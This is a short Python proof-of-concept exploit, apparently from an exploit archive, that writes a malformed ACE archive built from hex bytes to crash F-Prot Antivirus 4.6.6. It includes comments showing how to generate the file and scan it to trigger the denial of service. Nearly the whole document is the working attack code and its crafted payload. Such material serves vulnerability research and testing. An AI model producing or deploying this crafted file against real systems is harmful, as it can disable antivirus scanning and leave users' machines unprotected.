F-Prot Antivirus 4.6.6 (ACE) Denial of Service Exploit

                                                # fprot1.py - trivial proof of concept code for F-Prot 4.6.6 .ACE DoS
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# Copyright (c) 2006 Evgeny Legerov
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# To test this code on Linux:
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# create ACE compressed file
# $ ./fprot1.py > 1.ace
# $ f-prot 1.ace

import sys
import struct

ACE="""
 58 c5 31 00 00 00 90 2a 2a 41 43 45 2a 2a 14 14
 02 00 31 12 82 33 b6 45 97 7d 00 00 00 00 16 2a
 55 4e 52 45 47 49 53 54 45 52 45 44 20 56 45 52
 53 49 4f 4e 2a 6c 28 2c 00 01 01 00 d0 ff ff ff
 00 00 00 00 41 42 43 44 41 42 43 44 00 00 00 00
 02 05 41 41 41 41 0d 00 41 41 41 41 41 41 41 41
 41 41 41 41 41
"""

s = ""
for i in [chr(int(i, 16)) for i in ACE.split(" ") if len(i.strip()) > 0]:
       s += i

sys.stdout.write(s)